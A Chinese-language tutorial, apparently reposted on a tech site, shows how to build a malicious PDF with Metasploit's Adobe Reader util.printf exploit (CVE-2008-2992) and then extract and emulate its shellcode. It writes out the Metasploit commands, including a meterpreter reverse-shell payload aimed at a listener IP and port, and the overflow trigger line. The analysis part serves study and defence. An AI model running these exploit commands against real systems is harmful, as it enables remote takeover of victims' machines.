您好,登錄后才能下訂單哦!
這篇文章將為大家詳細講解有關如何進行惡意PDF文檔分析以及payload提取方法是什么,文章內容質量較高,因此小編分享給大家做個參考,希望大家閱讀完這篇文章后對相關知識有一定的了解。
Acrobat Reader是一個可閱讀、搜索、打印幾乎任何類型的PDF文件并與之交互的PDF查看程序。不夸張的說,幾乎每個電腦用戶都安裝并使用過它。由于它的用戶范圍廣泛且安全問題頻出,因此它也成為了最容易被黑客利用的程序之一。通過度娘搜索“Acrobat Reader漏洞”那叫一個壯觀,動不動就是高危,看得我都手癢癢了~~
我將向大家展示創建惡意PDF文檔,觸發并利用漏洞的完整過程。此外,我還將帶大家深入分析惡意PDF文檔,了解payload的存儲方式以及提取方法。
PDF(便攜式文件格式,Portable Document Format)是由Adobe在1993年用于文件交換所發展出的文件格式。
PDF主要由三項技術組成:衍生自PostScript;字型嵌入系統;資料壓縮及傳輸系統。它的優點在於跨平臺、能保留文件原有格式(Layout)、開放標準,能免版稅(Royalty-free)自由開發PDF相容軟體,是一個開放標準。以下是一個典型PDF文檔的結構圖。有關更多信息,請參閱Adobe規范。
我們將使用metasploit來創建一個惡意偽造的PDF文檔,其中將包含exploit以及我們自定義的payload。因為該漏洞利用是針對特定版本的,因此我們需要在目標機器上下載安裝一個較早版本的Reader。
首先,我們來創建PDF。該PDF利用成功后會在目標機器上彈出計算器(calc.exe)。打開metasploit console并鍵入以下命令:
use exploit/windows/fileformat/adobe_utilprintf set FILENAME malicious.pdf set PAYLOAD windows/exec set CMD calc.exe show options exploit
如下所示:
將剛創建的文件(/home/osboxes/.msf4/local/malicious.pdf)復制到共享驅動器上。
在目標計算機上,下載并安裝易受攻擊的Adobe Reader版本(metasploit已經告訴我們版本應小于8.1.2)。我選擇安裝的是8.1.1版。
安裝后,我們執行malicious.pdf文件。你應該會看到從Adobe Reader進程生成的計算器。漏洞成功被利用。
我準備了另一個惡意PDF,使用了不同的payload,如下:
set PAYLOAD windows/meterpreter/reverse_tcp set LHOST 192.168.1.29 set LPORT 4455
結果如下,我們成功在Adobe Reader上建立了一個后門(反向shell)。
現在,讓我們來看看惡意PDF中的內容,并嘗試提取其中的payload(我們仍然以calc.exe PDF為例)。
首先,我們需要用到一個名為PDF Stream Dumper的工具,下載并安裝它。然后使用該工具加載我們的惡意PDF文檔(請花些時間熟悉該工具的基本使用)。
我們先來使用菜單欄中的 “Exploit Scan” 選項來檢測是否存在某些可利用漏洞:
Exploit CVE-2008-2992 Date:11.4.08 v8.1.2 - util.printf - found in stream: 6
實際上,在stream 6中隱藏了一個可利用漏洞。
但是如果我們從頭開始:在PDF中搜索漏洞時,我們大多數時候會遇到由Javascript代碼創建的堆噴射( heap spray)。該堆噴射用于將payload推送至堆上,一旦漏洞被觸發就可以執行。
如果你打開Stream 1,你可以看到:
/Type/Catalog/Outlines 2 0 R/Pages 3 0 R/OpenAction 5 0 R
接著,我們打開stream 5:
/Type/Action/S/JavaScript/JS 6 0 R
執行位于stream 6的Javascript。該流顯示了純Javascript,現在是時候打開“Javascript_UI”菜單了。可以看到這是一大串十六進制編碼的字符,我們將其push到一個變量,以執行heap spray操作。以下是我們的payload:
我們選擇payload(引號之間的部分),然后打開“Shellcode_analysis”菜單。選擇“scDbg - LibEmu Emulation”。此時,會彈出一個新的窗口并將shellcode解碼為字節(你甚至可以將其保存到文件中):
LibEmu是一個能夠模擬處理器的庫,它會告知你匯編代碼的執行信息,單擊“Launch”按鈕,一看你就明白了:
在這里,我們可以清楚地看到shellcode會打開一個calc.exe窗口并退出。讓我們另外一個惡意PDF(反向shell)也執行相同的分析:
可以看到,Shellcode正在加載操作套接字所需的庫(ws2_32.dll),并嘗試回連C&C。
這里我并沒有展開談論exploit本身,它位于javascript代碼的末尾。它正在利用printf函數上的緩沖區溢出來執行任意代碼。以下是我們的heap-sprayed shellcode:
util.printf("%45000.45000f", 0);
關于如何進行惡意PDF文檔分析以及payload提取方法是什么就分享到這里了,希望以上內容可以對大家有一定的幫助,可以學到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。